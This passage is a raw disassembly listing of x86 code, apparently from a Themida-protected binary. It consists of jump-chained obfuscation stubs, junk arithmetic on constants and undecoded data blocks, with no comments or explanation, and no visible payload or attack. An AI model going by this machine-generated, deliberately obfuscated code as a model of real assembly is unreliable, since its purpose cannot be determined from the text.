		pop	eax
		sub	ebp, 32C02011h
		add	ebp, esi
		add	ebp, 32C02011h
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	6EF4h
		mov	[esp], ebp
		push	esi
		jmp	loc_556D46
; ---------------------------------------------------------------------------
		db 52h
		dd 0FF5C0FE9h, 0C3815DFFh, 35766C5Eh, 0EB81D301h, 35766C5Eh
		dd 7309EB81h, 335A4407h, 1C31241Ch, 241C3324h, 250EE9h
		dd 0E3E94E00h, 0B9FFFFC6h, 68065D29h, 148BD131h, 0E6FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564E86:				; CODE XREF: Themida_:0056A43Cj
		mov	ebp, ecx
		pop	ecx
		neg	ebp
		dec	ebp
		not	ebp
		add	ebp, 1720712Eh
		sub	ebp, 76795D36h
		push	edx
		jmp	loc_55F5E5
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 89562414h, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 810EE95Ch, 0A04FFFFh, 240C8B66h, 0FF3256E9h,	24248BFFh
		dd 0F66F1F6h, 65E9CCB6h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564ED7:				; CODE XREF: Themida_:0055D0F4j
		jmp	loc_555CC4
; ---------------------------------------------------------------------------


loc_564EDC:				; CODE XREF: Themida_:0056364Ej
		push	ecx
		mov	cl, 60h
		push	ebx
		mov	bl, 35h
		add	bl, 32h
		dec	bl
		shl	bl, 4
		dec	bl
		xor	bl, 0A7h
		add	al, bl
		jmp	loc_563C4B
; ---------------------------------------------------------------------------
		dw 93B6h
		dd 0E95AF328h, 979h, 0E9243487h, 0AAh, 6975EA81h, 595914A7h
		dd 0E92434FFh, 0FFFF4B83h
; ---------------------------------------------------------------------------


loc_564F18:				; CODE XREF: Themida_:0055BE4Dj
		push	ecx
		mov	ch, 6Dh
		jmp	loc_55D477
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 21A5h, 63BA5257h, 0BF2E7329h, 2E732967h
		dd 555AD731h, 0CB5B37BDh, 1D57E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564F42:				; CODE XREF: Themida_:00558A58j
		sub	ebx, 4F6A0677h
		jmp	loc_560AC7
; ---------------------------------------------------------------------------
		db 5Ah,	2Dh, 0FDh
		dd 29205E6Ch, 6CFD05D8h, 0BE56205Eh, 1FA353A8h,	7191B850h
		dd 0F748101Fh, 0F183E9D8h, 0E581FFFFh, 590B091Ah, 0FFFEED81h
		dd 0EF014107h, 5CE9575Dh, 0E900005Ah, 0FFFF0D3Ch, 7FEB814Bh
		dd 295E08E8h, 9155E9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564F96:				; CODE XREF: Themida_:00557E05j
		xor	ecx, [esp]
		jmp	loc_563F96
; ---------------------------------------------------------------------------
		dw 46B7h
		dd 0E985F780h, 0FFFF97F3h, 24048B54h, 68B8E952h, 895CFFFFh
		dd 0C588240Ch, 5859EF88h, 784EE959h, 0F901FFFFh, 3936E9h
		db 0
; ---------------------------------------------------------------------------


loc_564FC9:				; CODE XREF: Themida_:00560269j
		sub	esp, 4
		jmp	loc_55AF48
; ---------------------------------------------------------------------------
		db 57h,	50h, 0B8h
		dd 0F5F69D0h, 4BD0BDBFh, 0E9C70105h, 0FFFF7B9Eh, 24048B66h
		dd 3D25E956h, 0FF500000h, 58042474h, 5C24048Fh,	0B4240489h
		dd 80F4B190h, 0E1280EC1h, 5AA2E9h, 5E08900h, 4,	41EEE9h
		dd 0C3F38100h, 81063E61h, 242335F3h, 4AE3813Ch,	5601F55Ch
		dd 29B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_56502D:				; CODE XREF: Themida_:00556652j
		mov	[esp], ebx
		push	esi
		jmp	loc_55CC67
; ---------------------------------------------------------------------------
		dw 0D800h
		dd 0B25266h, 5A66D000h,	2EC81h,	89660000h, 0B252240Ch
		dd 939FE965h, 895BFFFFh, 2434FFF5h, 526A685Eh, 1C890000h
		dd 4682E924h, 0C4830000h, 0E3895304h, 0FF77DBE9h, 4BEFFh
		dd 0F9E90000h, 83FFFF1Dh, 0FF5504C4h, 5D042474h, 323EE9h
		db 0
; ---------------------------------------------------------------------------


loc_565089:				; CODE XREF: Themida_:0056A551j
		push	cx
		mov	cx, 3AC7h
		add	si, 7DF9h
		sub	si, cx
		sub	si, 7DF9h
		pop	cx
		push	small 388h
		jmp	loc_563023
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EFC108E7h, 37F78103h, 813DF163h, 4E45FF7h, 5FF8293Eh
		dd 0FF3C1FE9h, 4EC83FFh, 54241C89h, 81241C8Bh, 4C4h, 4C38100h
		dd 83000000h, 79E904C3h, 4FFFF28h, 241C8B06h, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0FE5C240Ch, 88EE34C0h, 0F83058C7h
		dd 241C8B66h, 8102C483h, 2ECh, 14896600h, 0ECD9E924h, 1C87FFFFh
		dd 34895C24h, 0BABA5224h, 0C1385D4Ch, 0F28104EAh, 7B272A8Dh
		dd 43EE9h, 71E95C00h, 6600003Ch, 85E99C50h, 0BEFFFF0Bh
		dd 77A9548Fh, 5E5EF529h, 8B242C87h, 4892424h, 0A6EBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565156:				; CODE XREF: Themida_:005575B5j
		mov	ecx, 63F0E05h
		jmp	loc_567CEC
; ---------------------------------------------------------------------------


loc_565160:				; CODE XREF: Themida_:005666A4j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	0D11h
		mov	[esp], esi
		jmp	loc_559935
; ---------------------------------------------------------------------------
		db 54h
		dd 8124048Bh, 4C4h, 40500h, 0E9570000h,	0FFFF4F12h, 81DD0159h
		dd 773607C5h, 3227E932h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56519A:				; CODE XREF: Themida_:0055E796j
		push	5966h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	578Fh
		jmp	loc_560536
; ---------------------------------------------------------------------------
		dd 0F857E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5651BA:				; CODE XREF: Themida_:0055F094j
		push	ebp
		jmp	loc_567350
; ---------------------------------------------------------------------------


loc_5651C0:				; CODE XREF: Themida_:005571B8j
		push	46Bh
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 2AA42AD2h
		xor	eax, 253A1A6Dh
		sub	eax, 0E767B638h
		sub	eax, 53271207h
		jmp	loc_569C63
; ---------------------------------------------------------------------------


loc_5651E4:				; CODE XREF: Themida_:00567FEAj
		add	ebx, esi
		jmp	loc_556B46
; ---------------------------------------------------------------------------


loc_5651EB:				; CODE XREF: Themida_:0055C10Bj
		xor	ecx, eax
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 25373FB1h
		sub	ecx, 25373FADh
		add	esi, ecx
		pop	ecx
		jmp	loc_55B9A7
; ---------------------------------------------------------------------------
		dd 53243C89h, 65615ABBh, 18E95341h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56521B:				; CODE XREF: Themida_:00569467j
		xor	ebp, 29BC7FF8h
		jmp	loc_55B5F7
; ---------------------------------------------------------------------------
		dw 0C580h
		dd 59E80011h, 0EC815B2Ch, 2, 241C8966h,	7CF468h, 24048900h
		dd 3B0968h, 241C8900h, 0E9C5B551h, 0FFFFE7FBh, 5BDFE947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565256:				; CODE XREF: Themida_:00567C44j
		and	ebx, 3B4E60A2h
		push	edi
		mov	edi, 603523A6h
		inc	edi
		xor	edi, 9AAC85BDh
		jmp	loc_55A2FC
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 3C5E3503h, 9DE95082h, 87FFFF10h, 895C2414h, 0E189240Ch
		dd 0B0E95052h, 52000002h, 0C281E289h, 4, 4C281h, 14870000h
		dd 8A12E924h, 1489FFFFh, 27AFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5652AA:				; CODE XREF: Themida_:0055953Cj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 4
		jmp	loc_56AEF3
; ---------------------------------------------------------------------------


loc_5652C6:				; CODE XREF: Themida_:0055E09Fj
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	eax
		push	ebp
		push	46ED3BFDh
		jmp	loc_55BAFD
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 5E000000h, 414BEF81h, 0CF014019h, 414BBD55h,	0EF814019h
		dd 7F01348Fh, 3728E9h, 40500h, 22E90000h, 81FFFFF0h, 4C4h
		dd 23486800h, 14890000h, 2BA24h, 0D5010000h, 0E924148Bh
		dd 0FFFFFD57h
; ---------------------------------------------------------------------------


loc_565324:				; CODE XREF: Themida_:0055674Ej
		pop	edi
		xor	esi, eax
		jmp	loc_558B6F
; ---------------------------------------------------------------------------


loc_56532C:				; CODE XREF: Themida_:0055AC24j
		push	ebp
		jmp	loc_558390
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 5E28E95Ah, 0C729FFFFh, 56F78158h, 89DBD497h,	0BB535FFDh
		dd 4599311Ah, 815BDD29h, 35064AF5h, 0E9E8090Ch,	17ADh
; ---------------------------------------------------------------------------


loc_56535C:				; CODE XREF: Themida_:005692EFj
		sub	esi, 75164379h
		add	esi, eax
		push	edi
		mov	edi, 75164379h
		jmp	loc_55A11E
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4FD14AFDh, 3EFC147h,	0FF76A5E9h, 405FFh, 0EC830000h
		dd 0B255E904h, 32FFFFFFh, 0FF0933E9h, 83E959FFh
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565397:				; CODE XREF: Themida_:005562F9j
		push	79ADh
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55FEFC
; ---------------------------------------------------------------------------
		dd 4C481h, 0E9530000h, 0FFFF8F98h
; ---------------------------------------------------------------------------


loc_5653B8:				; CODE XREF: Themida_:00569A9Dj
		sub	esi, offset word_4CF216
		jmp	loc_563941
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FBE92424h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5653CB:				; CODE XREF: Themida_:005640D7j
		mov	ebp, 259020FDh
		add	ebx, ebp
		pop	ebp
		sub	eax, 5D435CB1h
		add	eax, ebx
		push	663Ah
		jmp	loc_55A9CE
; ---------------------------------------------------------------------------
		dd 0FF08DBE9h, 0E28952FFh, 0FFAA6AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5653F1:				; CODE XREF: Themida_:00565F42j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4C18100h, 87000000h, 575C240Ch, 6C0168h, 24148900h
		dd 7246BBAh, 55DAF777h,	0BDh, 89D52900h, 0BE565DEAh, 7707246Fh
		dd 895EF231h, 0FB015AD7h, 0E9243C8Bh, 0FFFFFF68h, 5B9EB81h
		dd 1E94834h, 89FFFF6Eh,	7BE9243Ch
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565457:				; CODE XREF: Themida_:005615EBj
		add	edx, ebx
		sub	edx, 2DCB0F89h
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4D1F2D6Dh
		neg	ebp
		inc	ebp
		add	ebp, 5CBC4991h
		mov	ebx, ebp
		pop	ebp
		neg	ebx
		or	ebx, 29996C3Ah
		jmp	loc_55E130
; ---------------------------------------------------------------------------
		dd 0B5E9E901h, 0B900003Ch, 4E671E72h, 5AE9D1F7h, 0F7FFFF54h
		dd 0BD5552D5h, 22ED2BFDh, 0ED2BFEBAh, 5DEA2922h, 148BD501h
		dd 4C48124h, 0C1000000h, 51E906E5h, 8FFFFF3Ch, 34E94047h
		dd 0FF000009h, 8B042474h, 0C4812434h, 4, 0FF7C4DE9h, 3E3C1FFh
		dd 0FF83EEE9h, 2BFFFh, 0BF570000h, 2006317Eh, 2CE9D7F7h
		db 1Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5654EF:				; CODE XREF: Themida_:00567AC3j
		pop	edi
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		push	ecx
		mov	ecx, 0F8519639h
		xor	esi, ecx
		pop	ecx
		add	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2EE42F44h
		shl	esi, 3
		push	ebp
		jmp	loc_55D72E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 50582434h, 5E9E089h,	81FFFFFAh, 0E14305EBh, 0E9D3015Bh
		dd 0FFFFE773h, 3D57C681h, 1FE91028h, 0B8FFFF7Eh, 67FB47DFh
		dd 0E271740Dh, 7E8BE902h, 0C8BFFFFh, 4C48124h, 0E9000000h
		dd 0FFFFF38Ch, 4EC81h, 4890000h, 0CABA5224h, 890E0E73h
		dd 0A8E95AD0h, 81FFFF84h, 234770CAh, 0C5EA811Ah, 5021C0F4h
		dd 8952D089h, 5AD689C2h, 0C61DE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56558A:				; CODE XREF: Themida_:0055DF1Dj
		mov	esi, ecx
		pop	ecx
		shr	esi, 4
		or	esi, 600E4DEEh
		shl	esi, 2
		and	esi, 253C29AFh
		neg	esi
		add	esi, 43821ACh
		add	eax, esi
		jmp	loc_566004
; ---------------------------------------------------------------------------
		dw 11E9h
		dd 0FFFFFF07h, 89E92434h, 87FFFF65h, 248B241Ch,	4A35E924h
		dd 0A4B00000h, 0C2885253h, 525AD788h, 0FF3B9CE9h, 43AC68FFh
		dd 815E59D1h, 55079F6h,	0A7EE810Eh, 0E9387AE1h,	0FFFFA29Fh
		dd 3026B951h, 6C8135C7h, 18F10424h, 4C295E54h, 9BE90424h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565603:				; CODE XREF: Themida_:0055B518j
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		neg	ecx
		and	ecx, 7ACE208Eh
		push	esi
		jmp	loc_556207
; ---------------------------------------------------------------------------


loc_565619:				; CODE XREF: Themida_:0055A5B0j
		shr	ecx, 7
		push	ecx
		jmp	loc_559DF4
; ---------------------------------------------------------------------------
		dw 0FE30h
		dd 0FFAFE7E9h, 89525DFFh, 4C281E2h, 56000000h, 2D93E9h
		dd 0C003B000h, 0C0FE07E8h, 58E9D8F6h, 1FFFFF3h,	0EE015BDEh
		dd 6280EE81h, 335D7406h, 34312434h, 24343324h, 24048F5Ch
		dd 421665Ch, 59E99C24h
		db 6, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56566B:				; CODE XREF: Themida_:00556765j
		shr	ecx, 0Ah
		push	164Fh
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55C893
; ---------------------------------------------------------------------------
		dd 240C8B66h, 6A9C68h, 24348900h, 4EC81h, 0A9E90000h, 8BFFFF5Bh
		dd 0D68240Ch, 89000071h, 30E92434h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5656C3:				; CODE XREF: Themida_:005681CBj
		pop	edi
		add	esi, ebp
		add	esi, 638C4029h
		jmp	loc_55DFF8
; ---------------------------------------------------------------------------


loc_5656D1:				; CODE XREF: Themida_:00564618j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	cl, 85h
		mov	dh, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	al, 0EAh
		add	al, 72h
		add	al, 0DDh
		add	al, dh
		sub	al, 0DDh
		sub	al, 72h
		add	al, 0EAh
		mov	dx, [esp]
		jmp	loc_55A473
; ---------------------------------------------------------------------------
		db 5Fh,	5Ah, 0E9h
		dd 0FFFFDFD2h, 209768h,	242C8900h, 0C581E589h, 4, 528E9h
		dd 4EC8100h, 89000000h,	0CDBD242Ch, 0C16C5C2Eh,	0F58106EDh
		dd 0A8D5924h, 276FE9h, 0F4E95700h, 1000022h, 24148BD3h
		dd 0E0EE9h, 243C3300h, 24048F5Ch, 0FFE582E9h, 51D68FFh
		dd 12E90000h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565763:				; CODE XREF: Themida_:0055BC0Ej
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_562CF2
; ---------------------------------------------------------------------------


loc_56576C:				; CODE XREF: Themida_:0056AFFBj
		mov	edx, 4
		add	esi, 1395208Bh
		add	esi, edx
		sub	esi, 1395208Bh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_569B1A
; ---------------------------------------------------------------------------
		db 1
		dd 0ED8159CDh, 6D05BD8Eh, 815DEE01h, 0D40B10F6h, 364C052Dh
		dd 0F00135F1h, 0F1364C2Dh, 24348B35h, 0E904C483h, 14FBh
; ---------------------------------------------------------------------------


loc_5657B4:				; CODE XREF: Themida_:0055DFDAj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7994694Ch
		push	ebp
		push	4CAC0E0Dh
		pop	ebp
		shr	ebp, 5
		inc	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1DBD67ADh
		add	ebp, edx
		pop	edx
		sub	ebp, 7B98F012h
		mov	edx, ebp
		pop	ebp
		jmp	loc_5647EC
; ---------------------------------------------------------------------------


loc_5657EC:				; CODE XREF: Themida_:0055F4C8j
		and	esi, edi
		pop	edi
		add	esi, 0FFFFFFFFh
		not	esi
		jmp	loc_55E906
; ---------------------------------------------------------------------------


loc_5657F9:				; CODE XREF: Themida_:0056270Fj
		xchg	ebp, [esp]
		pop	esp
		sub	esi, 1E820F07h
		jmp	loc_55C110
; ---------------------------------------------------------------------------


loc_565808:				; CODE XREF: Themida_:00569E37j
		add	esp, 4
		push	262Ch
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_557BEC
; ---------------------------------------------------------------------------
		dw 8146h
		dd 17D80BC6h, 8BF2012Dh, 0EC812434h, 4,	54242C89h, 0C5A8E95Dh
		dd 0E981FFFFh, 5C817BC9h, 4E1FBA52h, 0D1215668h, 0A4C7E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56584A:				; CODE XREF: Themida_:00559D05j
		sub	ebx, 0A0392370h
		xor	ebx, 47CD32C1h
		sub	ebx, 634D4F93h
		push	ebx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	ebx
		jmp	loc_564355
; ---------------------------------------------------------------------------
		db 50h,	53h, 0E9h
		dd 0FFFFEFD7h
; ---------------------------------------------------------------------------


loc_565880:				; CODE XREF: Themida_:0055B208j
		dec	ebx
		add	ebx, 5C6C6051h
		sub	ebx, 528F1319h
		add	ebx, 9B6854FFh
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55FFC7
; ---------------------------------------------------------------------------
		dd 33B2F581h, 14E95378h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55A2F1
; ---------------------------------------------------------------------------


loc_5658BB:				; CODE XREF: Themida_:0056AC6Bj
		xor	eax, 5BA7833Dh
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_558FBB
; ---------------------------------------------------------------------------
		db 68h,	0A6h, 37h
		dd 3C890000h, 0F01E924h, 0FD01FFFFh, 4ED835Fh, 31242C33h
		dd 2C33242Ch, 24248B24h, 68241C89h, 79EDh, 0FF240489h
		dd 34FF2434h, 0C4815B24h, 4, 4EC81h, 14890000h,	1027E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565916:				; CODE XREF: Themida_:0055D89Bj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5610BD
; ---------------------------------------------------------------------------


loc_565923:				; CODE XREF: Themida_:005635F5j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55C104
; ---------------------------------------------------------------------------


loc_565934:				; CODE XREF: Themida_:00561FF9j
		add	esi, 17763354h
		push	7982h
		jmp	loc_561886
; ---------------------------------------------------------------------------


loc_565944:				; CODE XREF: Themida_:00556929j
		pop	ebp
		jmp	loc_5696A9
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 643AE904h, 348BFFFFh, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 2414875Ch, 0E924248Bh, 0FFFFE2E3h, 87665766h
		dd 6866243Ch, 1BE92D05h, 81FFFF3Dh, 9664FDC2h, 5EAC104h
		dd 0FF3DEAE9h, 4D4D58FFh, 574E9h, 24348100h, 6F984177h
		dd 77F7815Fh, 586F9841h, 0FF0B1FE9h, 2434FFFFh,	0E924048Bh
		dd 403Bh
; ---------------------------------------------------------------------------


loc_5659B4:				; CODE XREF: Themida_:0055D997j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	3D76h
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	35B7h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_561843
; ---------------------------------------------------------------------------
		dd 0FFC0B60Fh, 0CDE98734h
		db 2, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5659F7:				; CODE XREF: Themida_:0055A2D7j
		sub	cl, 92h
		jmp	loc_563486
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1C892424h, 0FEB95124h, 893B3A16h, 2434FFCBh,	1F88E9h
		dd 0BF685700h, 0E93C413Ah, 5479h
; ---------------------------------------------------------------------------


loc_565A20:				; CODE XREF: Themida_:0056A970j
		mov	edi, esi
		pop	esi
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 488C40FBh
		sub	esi, 21AA528Ah
		xor	esi, 3B072113h
		shl	esi, 4
		shl	esi, 3
		push	ebp
		mov	ebp, 0B1999845h
		jmp	loc_560A3F
; ---------------------------------------------------------------------------


loc_565A51:				; CODE XREF: Themida_:00556BE2j
		mov	ecx, 131592Eh
		sub	eax, ecx
		pop	ecx
		add	eax, 625929DAh
		sub	eax, 451979E9h
		add	eax, edi
		add	eax, 451979E9h
		jmp	loc_569E1A
; ---------------------------------------------------------------------------
		db 89h
		dd 0BF57242Ch, 430B1B1Fh, 0EF81DFF7h, 6D768C89h, 815FFD89h
		dd 0FFFFFFC5h, 9C23E9FFh, 0BB53FFFFh, 0C2AEC69Dh, 54E9DA29h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565A9B:				; CODE XREF: Themida_:0055D617j
		xor	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 24h
		sub	ecx, 55986A72h
		add	ecx, edi
		jmp	loc_5687E0
; ---------------------------------------------------------------------------
		db 28h,	0CBh, 66h
		dd 0D0CBFE59h, 80C3FEE3h, 0DE08D4C3h, 83241C8Bh, 0D6F604C4h
		dd 8002E6C0h, 99E9A3F6h, 57000029h, 0BFh, 0E9F72900h, 0FFFF43DAh
		dd 0FF2434FFh, 555A2434h, 0FF6320E9h, 5FFB29FFh, 215BDD01h
		dd 9ACEE9E9h, 0EB89FFFFh, 83242C8Bh, 0FA6804C4h, 89000035h
		dd 0DFBD242Ch, 815CD057h, 0C008246Ch, 0E925AD5Bh, 4D49h
		dd 76CE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B22:				; CODE XREF: Themida_:0056453Dj
		mov	edx, 40A342C2h
		xor	edx, ebx
		pop	ebx
		jmp	loc_55A0B5
; ---------------------------------------------------------------------------
		db 0BFh
		dd 377C7902h, 7906F781h, 0EA81377Ch, 58E30AB1h,	8953FA01h
		dd 4C381E3h, 83000000h,	0C3E904EBh, 0F7FFFFF5h,	5ACD81D5h
		dd 817BC761h, 0A590D8C5h, 5DE98979h, 3E19E181h,	36680F87h
		dd 8900001Bh, 0E789243Ch, 4C781h, 0D0E90000h, 0E9FFFFF0h
		dd 0FFFF0140h, 8059EF88h, 62C4CF7h, 4CE9F800h, 81FFFFF5h
		dd 4ECh, 273AE900h, 8952FFFFh, 4C281E2h, 83000000h, 148704C2h
		dd 2C875C24h, 0D7685C24h, 8900005Bh, 0DE92434h,	89FFFFDAh
		dd 4C281E2h, 83000000h,	148704EAh, 0CEE95C24h, 2900003Ah
		dd 63682DF8h, 3C8B3A85h, 0CFB3E924h, 0D2F6FFFFh, 0E903EAC0h
		dd 5070h, 0F70B4A68h, 0ACE9590Ah
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565BF7:				; CODE XREF: Themida_:00569857j
		xchg	ch, ah
		add	ah, 67h
		add	ah, 0C9h
		sub	ah, cl
		sub	ah, 0C9h
		jmp	loc_55D74B
; ---------------------------------------------------------------------------


loc_565C09:				; CODE XREF: Themida_:00559FC0j
		mov	ebp, ebx
		jmp	loc_56AEFD
; ---------------------------------------------------------------------------
		dd 0F24248Bh, 1768C8BEh, 89000029h, 8B54242Ch, 0C481242Ch
		dd 4, 4C581h, 8FE90000h, 0FFFFFFD4h, 0FE92434h,	81FFFFB8h
		dd 4C4h, 3E3C100h, 0FF4D10E9h, 4ED83FFh, 3C2AE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565C52:				; CODE XREF: Themida_:00563188j
		mov	ebp, 3E82FCBh
		sub	ebx, ebp
		pop	ebp
		push	dword ptr [eax]
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		db 0BBh, 0EDh, 39h
		dd 0D3F70161h, 0E903E3C1h, 0FFFF70FDh
; ---------------------------------------------------------------------------


loc_565C70:				; CODE XREF: Themida_:0055ED4Cj
		add	ebx, 2329D95Dh
		mov	eax, ebx
		pop	ebx
		add	ebp, eax
		pop	eax
		add	ebp, eax
		push	edi
		mov	edi, 6D74338Ah
		jmp	loc_56AE9F
; ---------------------------------------------------------------------------
		db 80h,	0C7h, 22h
		dd 0C05BF808h, 320402E0h, 5058C388h, 0E300E2B4h, 0F6DBF658h
		dd 0ABC380D3h, 0E95BD800h, 0FFFFB6D5h, 24148966h, 0FFF482E9h
		dd 2434FFFFh, 0FF8AF7E9h, 242C8BFFh, 81E28952h,	4C2h, 0BF575100h
		dd 4C397B1Eh, 0C15FF989h, 0E98105E9h, 261CBD4h,	0C8BCA01h
		dd 4C48324h, 5C241487h,	4C581h,	55510000h, 3E97E9h, 4C48300h
		dd 8159CF09h, 0BA6CFDEFh, 8BF8897Eh, 0C4E9243Ch
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565D0B:				; CODE XREF: Themida_:00559749j
		push	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	3195h
		mov	[esp], eax
		jmp	loc_569300
; ---------------------------------------------------------------------------
		dd 6C7C1925h, 25D0F70Ah, 35290681h, 43104035h, 58C78927h
		dd 0FF4D61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565D45:				; CODE XREF: Themida_:0055F319j
		add	esp, 4
		push	edx
		push	esi
		jmp	loc_556D72
; ---------------------------------------------------------------------------


loc_565D52:				; CODE XREF: Themida_:0055CA02j
		not	esi
		shl	esi, 3
		add	esi, 9D56A821h
		push	5EDFh
		mov	[esp], edi
		jmp	loc_562905
; ---------------------------------------------------------------------------


loc_565D6A:				; CODE XREF: Themida_:0055C7F8j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55D983
; ---------------------------------------------------------------------------


loc_565D7B:				; CODE XREF: Themida_:00555E8Fj
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_564E01
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 0A40C0506h, 0C5899EDEh, 0FFFBF8E9h, 24048BFFh, 0C004C483h
		dd 0C2FE04E2h, 0C280C2FEh, 9BF280FFh, 0D0003A04h, 47E93A2Ch
		dd 5FFFFFA7h, 0D1685352h, 5B486514h, 2872C381h,	0C381592Ch
		dd 1, 2F50C381h, 0EB810C3Eh, 66816B00h,	89D98951h, 240C8BCAh
		dd 5B04C483h, 0CE18E955h, 0E953FFFFh, 3315h, 4C281h, 77E90000h
		dd 0E9FFFF32h, 0FFFEFEC8h
; ---------------------------------------------------------------------------


loc_565DFC:				; CODE XREF: Themida_:00564CA3j
		mov	ebx, 1
		jmp	loc_5692D9
; ---------------------------------------------------------------------------
		dw 0CD87h
		dd 0FFA9DCE9h, 2E981FFh, 81872DCAh, 0CA3C5AEBh,	0E9CB013Eh
		dd 0FFFF68F6h, 34FF5453h, 0CE5EE924h, 0FE89FFFFh, 246C815Fh
		dd 60D2004h, 2444813Fh,	23293204h, 2474015Eh, 246C8104h
		dd 23293204h, 2444815Eh, 60D2004h, 0C6E95E3Fh, 5FFFFF30h
